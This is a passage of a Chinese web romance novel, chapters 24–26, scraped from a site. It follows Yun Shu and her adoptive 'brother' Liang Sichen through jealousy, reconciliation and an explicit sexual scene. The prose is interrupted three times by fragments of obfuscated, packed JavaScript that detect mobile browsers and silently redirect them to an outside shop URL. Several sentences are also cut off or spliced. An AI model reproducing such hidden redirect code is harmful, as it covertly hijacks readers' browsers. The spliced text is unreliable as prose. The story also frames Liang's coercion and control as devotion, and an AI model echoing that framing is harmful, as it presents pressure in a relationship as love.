梁思谌接起来,微微后退两步,转身:“汤小姐。” 云舒浑身发软,脑袋里嗡嗡作响,那种被攫取全部呼吸的窒息感似乎还留在胸腔,无名的愤怒似乎还是无法消解,她有很多的杂乱无端的情绪,她根本来不得理清。 她只是突然无法控制自己,上前两步,从身后抱住他。 梁思谌整个人僵立在原地。 下一秒,云舒踮起脚,牙齿咬上他的肩,那用力的程度,仿佛要给他留个终身疤痕。 梁思谌:“……” 作者有话要说 来啦 第 24 章 我不许 梁思谌不说话,也没发出声响,任由她发泄。 电话还在耳边,汤斯嘉的声音隔着屏幕有一种失真的感觉。 云舒听见她说:“明天约个早点吧梁总,我知道明熙路有一家不错的粤式早茶。 “可以。梁思谌答应。 云舒的力气一下子卸了大半,忽然不知道自己在做什么。 只是不解,他为什么会答应。 好像潜意识里觉得,他不会答应的。 或者至少……会解释一句。 但他什么都没说,只是平静地应了句:“可以。 那边停顿片刻,突然半开玩笑道:“见不得光的感情迟早要走向毁灭。梁总其实可以考虑一下我,我觉得我是个不错的结婚对象,你和我似乎都不太需要爱情这种东西,利益才是联结最紧密的。我不在乎梁总心在哪里,你自己处理干净就好。 梁思谌并未答话。 汤斯嘉十分懂得分寸,并不让人难堪,也不允许自己陷入难堪的境地,表达完自己的态度,不等他回答,直接说了再见。 至于他考虑得如何,她并不是特别关心。 电话挂断的瞬间,云舒哭了,眼泪蜿蜒着流进他肩膀,侵染到牙齿咬出的伤口发出刺痛。 “我以为你会弄出点动静。梁思谌的声音依旧冷静异常,仿佛对她的行为毫不关心,只是陈述道,“方才还在想,你连宣示主权你都不会。突然才意识到,我怕是又自作多情了,你一向也不在意,或者说巴不得我离你远远的。你在报我刚刚欺负你的仇吗?那就当扯平吧,抱歉,我有时候也会无能为力,比如对你。 他转过身,扶住她肩膀,等她站稳便后退一步,像是要拉开某种距离。 “我有时候在想,我是不是真的逼你太狠了。 “我情愿做这个罪人,强扭的瓜甜不甜我说了算,只要你一天不明确拒绝我,我就可以和你这么纠缠到死。 “但是云舒,你是我一路看着长大的,我比任何人都怜惜你,你痛一分,我便痛十分,折磨你的同时,我的自我折磨不会少一点。我只是不愿意和你没有瓜葛,强求一点缘分。但我也会担心,自己是不是在害你。就像你的选择两难,我的选择也并不是那么容易,选择永远是困难的,我强迫你,也是想替你减轻一些选择的痛苦,你下不了决心,我帮你下。 他逼迫她,可以帮她减轻一些道德上的负担。 “但这么说或许太冠冕堂皇,或许是我一直都在自作多情。 他抿唇沉默许久才再次开口。 “今晚我不留在这里你多半也不希望我留。我待一会儿就走待会儿打电话让蔡姐过来。” 梁思谌目光看着她观察她每一个细微的表情他承认他有点卑鄙他看出她的愤怒和醋意她那点微妙的心思或许她自己都没察觉到。 他欣喜若狂却要装得若无其事她太习惯他帮她做决定她也太了解他的执拗和不择手段。所以她总是假设他会一直步步紧逼。 或许杜少霆说的对前进的路走不通适当的后退也是个选择。 他想要她彻底走投无路。 她必须要做出个选择哪怕是选择彻底推开他。 可他等了许久她都没再说出一句话垂着头好像安静下来了也冷静了在想什么?他不知道。 倏忽他自嘲一笑。 “我走了你好好休息。” 她这会儿已经看不出醉意了云舒想再次装醉也已经晚了。 她眨了眨酸涩的眼睛在他转身的那一刻攥住他的手腕有些倔强地扯着他却不动也不说话。 梁思谌等待着仿佛头上悬着一把剑迟迟落不下来。 他侧头看她。 云舒最后只是说:“这里挨着明熙路你今晚……住这里吧。” 甚至为他明天和别的女人一起吃饭做考虑。 梁思谌简直要气笑他忍着没发作。 点点头。行。 这下换他生恨了脑子里一瞬间转过许多碎片记忆她好像从来不在乎他同异性在一起也不关心他去做什么。 他也想安慰自己是她信任他那从前刚在一起她说的那话却一直在他脑海里盘旋。 她那时说:“你以后会遇见很多优秀的异性或许有一天你就会发现你跟我只是同处屋檐下长久相伴的错觉。” 仿佛他是多么蠢连喜欢都分不清。 好像她只是妥协只等他早日心思转到别处好解脱出去。 他那时严肃警告过她:“云舒 她只是不愿意面对罢了但他总以为随着时间的推移她能看清自己的心。 也或许是他真的太自以为是以为她对自己有爱只是被现实所蒙蔽。 他记得有一回他还在国外他住在学校附近的公寓离得近但谈不上条件多好梁思悯住不惯课业不紧她就回爷爷给她 购置的房产。 那会儿他倒是犯懒,一直住在那儿,附近有许多同校生,一来二回就熟悉了,有个白人女孩热情自来熟,打听过他几次,有次借口上门的时候,他正在跟云舒视频,她在复习,有一搭没一搭地跟他讲话,敲门声起的时候,他通过可视门铃看到是谁,没起身。 但对方不依不饶,于是他只好过去应付。 少女甜腻的声音热情表白着,她全听见了,但等他回去的时候,她什么也没问。 倒是他忍不住提一句:“对我这么放心? 云舒抬眸看他,表情无辜而清澈,那里面似乎的嫉妒和担忧都没有,只是温和笑着:“你不是说你有女朋友了吗? 意思是你都拒绝了,我还问什么。 还有许多次……她从来问都不问,也并不关心,永远都只是温和地看着他,沉默地跟随他左右,在他的要求下接吻、拥抱、甚至更亲密的接触,只要他提,她从来不拒绝,偶尔也会主动,但情绪永远是平静的,他感受不到太多的热情。 说不挫败是假的。 梁思谌留下来了,他睡沙发,主卧给她睡。 云舒躺在床上,却怎么也睡不着,他强迫过她很多事,却并不在床事上强迫她,情动之时,再焦渴难耐,也都点到为止,但他从不避讳和她同处一室,大约是对自己的自制力绝对自信,又或者故意的,就是要她时刻紧绷着。 云舒每次都觉得别扭,躺在一张床上,她会有一种无处可逃的被压迫感,所以她总是尽量避免两个人共处一室。 只是,他突然这么冷漠和疏离又让她很不习惯。 她反复在思考自己咬他的那瞬间,情绪太复杂了,当下那一刻她根本来不得梳理,冷静下面的时候,她才发觉…… 云舒蜷缩着身子,把自己缩成很小的一团。 那是极度没有安全感的表现。 她到现在才终于愿意承认,她希望被他抱紧,渴望被禁锢,她妄想一种牢不可分的关系。 但因为深知一切的关系都很脆弱,爱情尤其不可控,所以情愿同他做兄妹。 并不是不爱他。 只是比起爱,她更不想失去他。 所以从一开始她就痛不欲生,因为意识到,无论她如何选择,他们似乎都要走向不可控的关系。 那种随时要失去的惶恐让她根本无法冷静,也无法理智去判断。 她甚至不敢承认,自己在嫉妒,在吃醋。 她就这么睁着眼,天亮都没睡着,他想去问一问 汤斯嘉的,但她不知道如何开口。 也觉得……自己好像没资格。 她没有什么能和对方比的。 他昨晚看她的眼神,实在太冷漠了。 或许他真的厌倦了。 可是……他怎么可以这样。 情绪反复拉扯,她觉得自己神经快要崩断了。 大约七点钟,外面有了点动静,梁思谌在外卫生间洗漱,云舒揉了揉僵硬的脸和肿胀的眼睛,缓慢折起了身,她似乎有些期待他能到卧室里来一趟,拿东西也好,跟她告别也好,哪怕只是推门看一眼她。 她受不了这种近乎冷战的氛围。 可是他没有。 云舒反复搓着自己的手指,焦躁和不安越来越浓烈,到最后演变成恨意和委屈,可她连恨谁都想不明白。 门响了,他走了。 房间里顿时空荡荡的。 昨晚蔡姐没有来,他一走,这房子里只剩下她了。 安静得让人难过。 云舒仿佛入定般,过了十几分钟才转了下眼珠,回过神。 她掏出手机,盯着屏幕又看了许久,终于决定给他打电话。 她不知道他会不会接,但她觉得自己应该打一个电话。 梁思谌刚坐下,广式的茶楼上下两层楼,他同汤斯嘉落座二楼靠窗的位置。 空气里潮湿黏腻,像是要下雨了。 梁思谌没睡好,神色有些倦怠。 汤斯嘉坐在他对面,整理了一下自己的手包,抬眸看到他那张脸,不由扯了下唇角:“怎么,梁总脸色这么差,跟女朋友吵架啊,昨天我那段话多此一举了吗?抱歉,耳朵比较敏锐,我听到你女朋友的呼吸了,我以为我是在帮你。 “谢谢,但不必,我没打算用这种手段。梁思谌微微后靠,打量她,“只是我很好奇,你为什么帮我。 “有趣?汤斯嘉微笑,“我这个人从小就有个梦想,祝天下有情人终成眷属。如果不考虑家族利益,其实我的理想工作是去民政局做给新婚夫妇的结婚证上盖戳,想想都是一件很美妙的事。 梁思谌挑眉笑了下:“汤小姐的理想还真别致。 汤斯嘉摊手:“我就当你夸我了。不过我确实挺欣赏你,如果你愿意考虑我的提议,我也会欣然应允的。 “抱歉,但你可能对我有误解,我这种人,其实很需要爱情。可惜一直在吃爱而不得的苦,但我还不打算放弃。 “那真让人意外,你看起来……汤斯嘉上下打 量他,“看起来就是一副薄情相。 电话响起来的时候,汤斯嘉垂眸就看到桌子上手机屏幕的来电备注,一朵云。 “啧,梁总哪里算爱而不得。 梁思谌从没打算不接她电话,响起两秒钟他就接了起来。 云舒没忍住吸了下鼻子,暴露了她哭过的事实。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414194|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁思谌的声音温柔又冷酷:“出什么事了? “没……没事。云舒撒谎,“做噩梦了。 “别怕,把窗帘打开,天已经亮了。 云舒哽咽出声,应一句:“嗯。 或许他语气里还有关心,安抚了她的情绪。 “还有事吗?他装作不懂她的潜台词,企图她能主动说出些什么。 云舒还是什么都不说,半晌才讲一句:“你待会儿还回来吗? “待会儿要上班,不过我也不是非去不可。你想要我回去陪你?他最终还是没忍心,搭了梯子,暗骂自己活该。 被她拿捏得死死的,被反复吊着得不到判决,确实是他自作自受。 云舒一向懂事,一向为所有人考虑,可这次她却应一声:“嗯,我……想你。 …… 车子开回公寓的时候,梁思谌一路嫌弃红灯太漫长,短短十几分钟的路程,三个红灯,他从来没有这么没耐心过,下车时候透过后视镜看了眼自己的脸,倏忽自嘲一笑。 出息。 三个字,值得他欣喜若狂,恨不得飞回去见她,好确认那是从她口中说出的。 哪怕只是哄他,他也认了。 愿意哄他骗他,也是进步。 推开门,他尚未来得及思忖该以何种表情面对她,下一秒被扑了个满怀,云舒抱住他,一下子把他砸在门背,那么用力,像是要抱着他殉情。 他倒抽口气,调侃一句:“哪里来的妖孽,夺我妹妹的舍,她从来不这么主动,你是谁? 云舒刚想说什么,嗅到他身上的香水味,很浓烈的女士香水,这是挨得多近才能味道这么浓。 她忍不住凑过去嗅了下,脖子上、胸前、胳膊……到处都是香水的味道。 云舒紧绷了一夜的神经彻底断裂在这一刻,他们拥抱了吗?还是干什么了。 她的脑袋里嗡嗡作响,自卑夹杂着委屈,连同一瞬间的愤怒兜头砸下来,她忽然哭出声,压抑不住颤抖,于是去咬他,来缓解瞬间失控的情绪。 梁思谌:“…… 虽然他很欣喜她能把情绪发泄出来,也不介意她对他干什么,但是…… “你……能不能换一边咬。”他无声叹气。 云舒对他满不在乎的态度感到更加的气愤:“梁思谌你是不是其实并不爱我。” “你说这话讲良心吗?我不爱你我在这儿自己折磨自己玩是吗。”梁思谌捏住她下巴,迫使她抬起头,“你把我叫回来就是为了说这个?倒打一耙?然后顺理成章说分手?” 讲到最后,他的眼神称得上凶戾了。 “想都别想。” 云舒狠狠捶了他一下,带着哭腔:“你先跟别的女人私下聊天的,你们还一起约着吃早饭,你身上全是她的香水味。你是不是……抱她了。” 梁思谌安静地看着她。 云舒也抬眸,和他对视,眼睛里都是眼泪,他的面容也变得模糊,只那双冰冷的眼神格外清晰。 “你打算和她在一起了吗?”她问。 周阿姨很中意汤家,不仅汤斯嘉,甚至整个汤家。如果他们在一起,那真的所有人都会高兴。 她一直以来的愿望也就实现了。 可是,为什么这么难过,又这么愤怒。 云舒看他不说话,再次崩溃,她难过得像是快要死掉了,眼泪不住地往下掉,她垂下脑袋,左右踱步了两下,好像不能呼吸了似的,又仰起头,来让自己灌入一点氧气。 她张着嘴,甚至都发不出声,过了很久才终于憋出一句:“我不许,你不可以,梁思谌你不能这样。” 这是梁思谌第一次看云舒失控,她整个人脆弱得像是变成了一个风筝,仿佛被风一吹就要飘走了。 她那么难过,痛苦得整个人都快要痉挛了。 她像是被人打碎了全身的骨头,又重新拼接在一起,她在那绝望的痉挛里,终于发出微弱的一声:“我不许。” 这是她第一次把自己放在主体的位置,不是“你不要”,是“我不许”。 他有些无措,倾身把她禁锢进怀里:“我等你这句话,等得都要枯萎了。听你说一句心里话,怎么就这么难……” 他不停揉她的肩膀,企图让她放松:“别生气了,什么都没有,她猜到你是我女朋友,我临走的时候非拉着我喷我身上的。我错了,我不该也抱着赌气的心态故意没告诉你,还盼着你能来质问我。我永远是你的,只是你的。” 云舒迷茫地睁着眼,觉得自己像是被耍了,可却丝毫都提不起劲来生气,只是觉得好像虚脱般无力。 她把脸埋在他颈侧,好久才抽泣一下:“我恨死你了。” 她好像变得越来越不像自己了。 她回忆起自己刚刚的样子都觉得陌生和不可理喻。 梁思谌点头,半晌又说:“听起来像表白,比‘我爱你’还带劲,我爱听,接着骂。” 作者有话要说 来啦 因为想一口气写完这一段,所以晚了会儿~这章五千字 然后周六不更新哈,我下次记得提前作话提醒一下~ 第 25 章 出去吃点东西吧 云舒的情绪慢慢缓和了。 好像是经历了一场狂风骤雨,风暴平静下来,只想睡觉。 “你陪我睡一会儿吧。”她轻声问,带着几分请求的意味。 “能不能……先别走。” 梁思谌眼珠子转了一下,看出她的不安,于是逗她:“这不太合适吧?” “不行就算了。”她并不强求,知道他很忙。 真让人不爽,梁思谌一把把她抱起来,抱回了卧室,顺势躺在床上,拉她过去,亲吻她额头,低声说:“眼睛都肿了,睡吧,睡醒再算账。” 云舒这次自觉地在他怀里寻个位置,脸颊贴在他胸口,双臂环绕他的腰。 她轻声说:“哥……我有点怕。” “怕什么?” “大概是怕你不等我了。” “我就在这儿,一直在这儿。反而是你,一直在推我走。让我觉得我固执地守在这儿,很可笑。” “不……”云舒有些急切地说,“没有。我……”她想说的话很多,想要辩解,想要说我不是,可她就是,犹豫不决的是她,瞻前顾后的是她,一边期望两个人回到最初,一边又因为他可能消失而痛苦的还是她。 “对不起。”她吸了下鼻子,“我好像不会爱人。” “跟我不用说对不起。你可以做一切事,可以伤害我,可以让我很难过,但不要一直伤害,也不要让我难过太久,这样就很好。” “我不值得。”她哽咽,“我什么都没有。” 孑然一身,身上有的一切,都是梁家赋予的。 她到现在才敢承认,她不是不想,她只是不敢,于是自私卑鄙地希望他能一直攥紧她,可他攥得太紧,她又害怕自己不值得他这样用力。 梁思谌思忖片刻,却是说:“你爸妈去世后的第一个生日,离你母亲的祭日很近,我们没敢给你办,只是简单吃了顿饭,第二个生日的时候,我妈希望你能在家里感到温暖,所以举办了一场很盛大的宴会,那时为了向亲戚和朋友宣告你是家里的一份子,邀请了很多人,那天生日宴的盛大程度让你很害怕,你躲在楼上,迟迟不敢下楼,是我牵你手下去的。” 云舒陷入回忆,情绪变得很静,她轻“嗯”了一声,“我那时觉得,你对我来说,就是拯救世界的英雄。” 这个他倒是第一次知道,忍不住笑了下,“我的荣幸。” 片刻后,才又继续,“那天你收到的礼物大概可以塞满一个卧室,但是梁思悯随手给你的娃娃,你却珍藏到现在。那甚 至不是一个礼物学校的义卖集市她用一块钱买的同学卖不出手的手缝娃娃针线歪歪扭扭并不是特别好看。你却很喜欢爱不释手我起初以为你只是给梁思悯面子后来发现你好像真的很喜欢于是问你它到底哪里好因为我给你买过很多礼物每一个都昂贵、精致但从没见你这么喜欢过。你那时迷茫地看着我 云舒记得“就是很喜欢没有什么特别的但我很喜欢。” 梁思谌这时才回答她刚刚的问题:“是的云舒这世界上是存在无缘无故的爱的就像我爱你不管你是谁有多少光环或者晦暗的过去你就是你你的存在本身对我来说就是一种奖赏你从来不是一无所有。” 云舒听到这里才听懂他绕了一大圈想表达什么顿时眼睛有些酸涩想说什么可喉咙像是堵住了于是只好更用力地抱紧他像是要把他嵌进自己身体里。 很奇怪的谁也没再说话可梁思谌竟有些贪恋这一刻的平静。 云舒是真的很困但大脑清明半睁着眼眼神虚空望着想很多事。 她以前总在想爱一个人怎么会变得面目全非信任一个人为什么还会惴惴不安想要得到为什么还会反复推开…… 这一刻她似乎才有些明白。 “哥”云舒叫他“我其实……很在乎你。我只是害怕自己离不开你。” 她总是显得很被动每次都是他说爱或者质问她到底为什么那么害怕他。 云舒总是说:“我没有害怕。” 或者说“我没……不爱你。” 但总是羞于启齿自己其实挺在意他的。 走在校园里看到别的情侣手牵手会想到他。 别人提到家人也会想到他。 路上看到的流浪小狗长得漂亮会忍不住拍照想给他看只是总觉得他不会喜欢这种无聊的琐碎。 会在不开心的时候反复戳他的聊天框。 然后他的消息突然弹出来会心跳加速然后涌出莫名的开心。 她很少打扮自己课业很忙而且也没有妆点自己的欲望可估计他快回来的时候就会反复试衣服。 而他也总能发现她微小的变化。 比如头发剪了眉形换了口红换了颜色包包多了小挂坠…… 她其实很开心。 很开心的。 只是没告诉过他她是为了他才愿意费一点心思。 他去陪她上过专业课 ,被老师叫上台当人体模特,因为他看起来高高大大有肌肉,老师让他把上衣脱了,他笑着说:“不好吧老师,我陪女朋友来上课,我觉得我今天不由我自己支配,要不你问问我女朋友,不然我不敢脱。” 云舒不得不站起来认领,示意他别捣乱。 后来室友问起,她也会认真回答,说:“是哥哥,也是男朋友。” 因为开学就是他送她去学校,室友都知道那是她哥哥。 好像把一件深埋心里的隐秘心事,短暂地晾晒在日光下,室友震惊和探究的眼神并没有让她退缩,她笑着说:“我们没有血缘关系,也没有法律关系,就是一起长大。” 室友了然:“那就是青梅竹马了,真好。” 另一个室友说:“你和你哥哥很般配欸,感觉你哥对你真的好好,祝你们长长久久。” 那大概是她得到的第一次祝福,于是她郑重说:“谢谢。” “我总觉得这段关系不会长久,所以那些细碎的瞬间,我一个人珍藏就够了。”云舒缓慢说着,最后声音越来越小。 她一晚上没睡,这会儿终于沉沉睡去。 梁思谌轻吻她额头,低声说了句:“喜欢你,简直要了我半条命。” 她闭着眼,模样那么乖巧安静,好像是这世上最娇弱的一朵花。 偏偏刺他一身血。 “但我还是愿意。”梁思谌释然地笑了笑,“你说爱我,那就所有一切都值得。”- 快要中午的时候,憋闷了小半天的这场雨还是下了。 梁思谌出现在杜少霆的会所里,水月涧包厢,270度落地窗,窗外是人造的竹林掩映下的假山流水,他站在那里,手边放着茶盏,上好的西湖龙井,他却没品出什么滋味,只是不悦道:“你叫我出来干嘛?” “我也没少叫你出来吧,今天怨气这么大,我坏你好事了?”杜少霆轻嗤一声,“我听说你昨晚见了汤斯嘉,难道云舒跟你闹了?” 梁思谌短促笑一声:“她要愿意闹就好了。不过……”他想起早上,“也不算一无所获。她还在睡觉,我没打招呼就出来了,你最好快点把你的事说完,我还要回去陪她。” “你……你们……”杜少霆神色古怪地看着他,“年轻也不能这么折腾吧。” 梁思谌侧头警告地看了他一眼:“收起你龌龊的心思,她昨晚没睡好,补觉。” 杜少霆笑了声,并不在意他们情侣的弯弯绕绕,说回正事:“你那天刚驳了我的馊主意,我还寻思你这人口是心非,但仔 细想一想,你联系汤斯嘉不是因为云舒的事吧,你要的是博亚? 汤家从商也就两代人,身上都还带着文人的傲气,所以很难取得太大的成功,博亚做信息技术,互联网+的风口没踩住,核心实验室成果快被挖空了。 几次转型都没抓住最好的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414195|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个机会。 梁思谌他爸是个实业家,一辈子兢兢业业搞生产,但时代在发展,硬件目前已经没有太大的上升空间了,埋头苦干的同时也要看看时代的风往哪里吹。 杜少霆知道他不会甘心做个接班人,他从小就狂傲到自负的程度。 “汤斯嘉主动找我的。梁思谌挑了下眉,“可真是大孝女,要帮我把他爸的公司并购了。 汤赫平毕生的心血,也曾辉煌一时,只是如今还是走到了日照西山的时候。 杜少霆忍不住皱了下眉:“梁思谌,你太激进了。 梁思谌扭头看他一眼:“你最清楚我现在的感受,我爸妈并不一定会反对,但反对的几率几乎高达百分之七十,而一旦被发现,云舒的退缩几率也高达百分之七十,我必须要保证我快速站稳脚跟拿到最多的实权,这样确保我不会被任何人掣肘,无论是善意还是恶意。只要我站的足够稳,她就永远不会倒。 杜少霆当初毅然休学也要回来帮杜若枫争家产,杜家是没人吗?当然不是,每一个杜家的人 都恨不得立马接过杜若枫的监护权,每一个人都情真意切地想要照顾她,为她守住父母的产业。 但杜少霆赌不起,哪怕百分之一的可能,他都不愿把她的命运交给别人。 梁思谌当然也是如此。 杜少霆最后只是叹了口气:“你真是疯了。 梁思谌挑眉,无所谓地勾了下唇:“我早就疯了。- 云舒从噩梦中惊醒,额头都是虚汗,卧室没有人,梁思谌不在,她心脏莫名空了半拍,难过一瞬间涌上来。 他不在。 他去哪儿了? 还回来吗…… 她脑海里一瞬间转过无数个念头,好像每一个都不太好,她惶然起身,想去找他,余光却看见手机亮了。 梁思谌走之前把她手机静音了,她拿起来,发现有三个未接来电,都是家里的。 冷汗一瞬间冒出来。 她接起来的时候,灵魂都飘在半空。 周阿姨问她:“小舒,你没事吧?还有没有不舒服,实在不行让司机带你去医院,让裴医生给你看看。 裴医生是梁家的私人医生。 云舒脑子转得飞快,猜到大概是梁思谌说了什么,于是谨慎回答一句:“我没事阿姨,我刚起,不好意思,睡觉关手机了。” 周邵红又关心了两句,然后才埋怨一句:“梁思谌八成上辈子是个扫把星,你以后离他远点。” 卧室门响了,梁思谌从外面进来,听到她在听他妈的电话,还是径直走了过来。 云舒小声跟阿姨解释:“是我不好,不该乱喝酒的,不关我哥的事。” 周邵红“哼”一声,“你就会护着他。” 梁思谌从背后抱住她,在她另一边耳朵边亲吻了一下,手臂箍紧,将她整个人拢进怀里,丝毫不管她此时已经紧张得快要哭了。 她努力保持平静,跟阿姨说:“没,哥他真的挺好的,是我总麻烦他。” 她腾出一只手去掐他,但他不为所动,继续我行我素。 周阿姨说了什么,云舒根本没听清,梁思谌在细细密密地吻她的脖颈,像是故意在折磨她,好让她早点适应。 又或者在报复她一直以来的逃避。 云舒不去掐他了,指甲掐着自己的掌心,生怕呼吸乱了一点,被听出端倪。 短暂又漫长的通话终于结束的时候,云舒已经浑身都是冷汗,她忍不住颤抖起来,扭过头,咬他,却没什么力气,迟来的后怕让她虚脱,她大口喘息着,眼神迷乱地看着他,明明只是害怕,却仿佛染了一身情-欲。 带着埋怨和无奈,叫他:“哥哥……” 梁思谌身体僵了一下,浑身的血液仿佛往一处汇聚,他不自然地偏了下身:“出去……吃点东西吧。” 作者有话要说 来啦!! 第 26 章 我是你的谁 云舒丝毫没察觉,只是心有余悸,忍不住抱住他,往前一步,似乎想要贴靠更近,来寻求一点安全感。 梁思谌躲不及,于是只好坦然。 这下换她惊颤想要退开。 “你…… 梁思谌反过来逼近她,形势突然调转,他俯身看她,目光灼然:“你总是这样,我往前进一步你就往后退三步,我想要保持点体面,你又紧追不舍,但又不负责,故意的是么? 故意看他为了她神魂颠倒,失控发疯,痛不欲生。 “训狗也要给点赏头,不然狗也会疯的。他钳着她下巴,迫使她与他四目相对,挨得那么近,呼吸都要缠在一起,房间里还有刚睡醒的沉闷和暧昧。 云舒突然搂住他的脖子,用尽全力去吻他。 冲动莫名,仿佛如此才能疏解。 余悸还在,心跳怦然,浑身都在颤,吻得狠了觉得热,喘着,用舌尖描摹他的唇形。 他的手困在她腰间,身贴身,那处极清晰,硌着,仿佛无声威胁。 分不清是害怕还是心动,呼吸间都是彼此,形势越来越焦灼。 熟悉的人,陌生的感觉。 她的声音带着哭腔,却不是难过,只是压抑的情绪到了临界点。 她说:“哥,我想要。 他故意,逼问她:“要什么? 仿佛故意要叫她难堪,但从来都不是,她明白得太迟,爱得太畏缩,她想要勇敢一点,可勇敢是一种能力,并非天赋,她尚未习得。 于是挣扎着,克服退缩的欲望,去直面自己的冲动和炽热内心。 人们总说,真爱要抛开一切,可生活总是复杂的,谁也抛不开。 或许也不必非要抛开什么,无非是思忖值不值得,能不能有无怨无悔的勇气。 ——哪怕前路是深渊,我努力过,得到过,不后悔。 “我想要你。云舒贴在他耳朵,仿佛用尽全力,其实很轻的一句。 我要你。 梁思谌一口咬在她脖子,舔吻着,啃噬着,情和欲攀至高峰,他却无奈笑一声:“你怕是真的恨我,这里什么都没有。 这里他都没住几天,况且他一直以为俩人能有实质性的进展恐怕得等上三五年,从没想过备些什么以备不时之需。 “那你叫个外卖。 她从没这样过,让人目眩。 梁思谌头抵在她的额头,时不时吻向她,但更多只是看着,享受这平静 和暧昧,克制的欲望和快要失控的身体做对抗,疼痛和折磨带来另一种层面的痛快,像是寒冬里冷到极致的热意,是一种末日来临前的祥和。 “好。他慢吞吞说着,似乎并不着急。 云舒便有些被打击到,微微垂眸,小声说:“你不想就……算了。 指尖却故意似地,挠他的肩和背。 梁思谌轻笑,揽住她的腰往前拉,唇贴在她耳后,在她耳边说话:“你就是故意的吧,不给人一口喘气的机会。 “我没有。云舒痒,忍不住躲,却又被他困着,她越要挣扎,他越禁锢得紧。 “你先吃点,行不行?让他缓一下,然后叫外卖送东西过来。 云舒脸顿时通红,瞪他。 梁思谌挑眉,半晌才意识到:“我让你吃饭,路过餐厅给你打包了午餐,你想什么呢。 云舒确实会错意,不想理他了,转身就走,梁思谌在她身后笑,掏出手机点了几下,弄好了也没出去,靠坐在床上,闭着眼,努力去想些别的,转移注意力。 太难熬了。 床上还残留她体温,她身上独有的味道,她那灼热的拥抱似乎还在禁锢着他,他呼吸渐渐急促,再难平静。 手抓握住,昏暗的房间里,只能听到他呼吸,云舒在外面叫他,他不搭话,出神中,脑海里全是她的身影,他便不再避讳,任由发作。 云舒进来寻他,门推开,他就那样斜靠着,眼神微偏,看向她,目光如鹰隼,锁定他的猎物,也并不停下,叫她看清楚,他是在干什么。 云舒僵住了,立在门边,就那么看完了全程,他抽了纸巾,轻擦手指,最后摩挲了下指尖,长腿落地,一步步朝她走过来,仿佛刚刚表演现场的不是他,一副若无其事什么也没发生的样子,平静问她:“吃好了吗? 其实没有,刚吃两口,想问他吃过没有,因为看他好像带了双人份的,可叫了半天他没应,过来看他在干嘛。 谁知道…… 但云舒这会儿已经彻底失去思考能力,理智出走,大脑组织不出语言和逻辑,只是下意识应着:“嗯。 梁思谌便把她抱起来,仿佛在说,那该我用正餐了。 他却没抱她去床,径直往外走,将她放在沙发,这会儿是中午,卧室灯调到最暗,窗帘也合着,气氛刚好,他偏不,非要带她到这里,窗外雨声淅沥,天光却还算亮,好告诉她,现在是什么时候,你面前是什么人。 我要你,也要你清醒地看着我要你。 云舒还是害怕但却主动去搂他脖子轻声叫他:“哥……” 梁思谌笑:“能不叫哥吗?” 云舒故意跟他作对凑近他叫一声:“哥哥。” 婉转千回柔软又引诱梁思谌险些投降压着燥意点点头:“行。” 你会为此付出代价的小舒。他在心里默念眼神盯着她。 胸腔起伏着暗流涌动。 云舒觉得如果这世上有什么隔空取物的能力她会觉得梁思谌凭眼神就能把她剥干净。 人越怕什么越会离得远远的。 可有时越怕什么越会攥得紧紧紧挨着仿佛才有安全感。 云舒把自己嵌进他怀里但其实她用尽毕生所学也无法帮助她解决面前的难题医学生重理论更重实践每年光啃书本不够要去医院见习要在模拟医院上大量的实践课。 可见很多时候知道是一回事动手又是一回事。 她直言:“我不会。” 他好笑问:“你不会什么?” “你不是说你喜欢我* ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414196|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” 骑字弱得几乎不发音梁思谌却听懂了偏过头笑了半天。 连他故意气她的话都记着 梁思谌掰过她的腿让她坐在他身上从下往上看她好整以暇躺着“我教你。” 俩人好像都过了那股劲这会儿更像调情云舒知道他又戏弄自己却也并不恼只是微微俯身想要靠近他两个人抱着胸腔贴着胸腔。 她说:“哥我听见你的心跳了。” 没话找话。 “嗯。”他含糊不清心猿意马熄灭的欲望重新烧起来不再隐忍将人按进怀里重重撕咬她。 云舒心脏空了半拍那种强烈的被禁锢的感觉让她下意识抱紧他无意识叫了句:“哥……” 惶恐、不安、困惑…… 不是没有东西吗。 她什么也不懂爱有无数种做法不必非要等。 门铃终于响了的时候云舒身上已经不着寸缕了可看他起身才发现他依旧衣着整齐衣冠楚楚。 她顿时有点恼火恨不得咬他两口。 他低头轻吻她:“等我一下。” 她咬了下唇抓过毯子裹在身上恨不得把自己蜷进沙发缝隙里。 电话又响了云舒整个人惊颤抿着唇迟迟不接梁思谌接过东西进来脚步轻缓自嘲一笑怕是白折腾了。 她还是像惊弓之鸟。 走近了,才发现,是他的手机。 来电显示是汤斯嘉。 她不知道在想什么,神色有些复杂。 “怎么不接?”他问。 云舒反问:“我可以接?” “我的电话你都可以接。”他看着她说。 